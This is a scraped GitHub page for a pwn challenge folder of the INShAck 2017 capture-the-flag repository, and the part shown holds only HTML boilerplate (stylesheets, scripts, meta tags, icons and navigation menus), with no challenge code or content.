media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>inshack-2017/challenges/pwn/crazy-minitel-125 at master · HugoDelval/inshack-2017 · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="BCF4:12398:1AD3E583:1BA63EBA:64122858" data-pjax-transient="true"/><meta name="html-safe-nonce" content="745094fd4059fb87352d03a60bc146eb1146cceb93b2f992d61cecf8617d91af" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCQ0Y0OjEyMzk4OjFBRDNFNTgzOjFCQTYzRUJBOjY0MTIyODU4IiwidmlzaXRvcl9pZCI6IjQ4NjkxNzE0NzQxNjUwMTY2NjQiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="bae1b6f759d0b1f31aba6ded273bdf7bea08a5ac3b17e08414287a04f1524528" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:83088123" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Challenges for INShAck. Contribute to HugoDelval/inshack-2017 development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/8c8947ebe5eb7d90c79ba8431030efb25a490d55067f06d3240bda96d166dae2/HugoDelval/inshack-2017" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="inshack-2017/challenges/pwn/crazy-minitel-125 at master · HugoDelval/inshack-2017" /><meta name="twitter:description" content="Challenges for INShAck. Contribute to HugoDelval/inshack-2017 development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/8c8947ebe5eb7d90c79ba8431030efb25a490d55067f06d3240bda96d166dae2/HugoDelval/inshack-2017" /><meta property="og:image:alt" content="Challenges for INShAck. Contribute to HugoDelval/inshack-2017 development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="inshack-2017/challenges/pwn/crazy-minitel-125 at master · HugoDelval/inshack-2017" /><meta property="og:url" content="https://github.com/HugoDelval/inshack-2017" /><meta property="og:description" content="Challenges for INShAck. Contribute to HugoDelval/inshack-2017 development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/HugoDelval/inshack-2017 git https://github.com/HugoDelval/inshack-2017.git"> <meta name="octolytics-dimension-user_id" content="9109308" /><meta name="octolytics-dimension-user_login" content="HugoDelval" /><meta name="octolytics-dimension-repository_id" content="83088123" /><meta name="octolytics-dimension-repository_nwo" content="HugoDelval/inshack-2017" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="83088123" /><meta name="octolytics-dimension-repository_network_root_nwo" content="HugoDelval/inshack-2017" /> <link rel="canonical" href="https://github.com/HugoDelval/inshack-2017/tree/master/challenges/pwn/crazy-minitel-125" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" 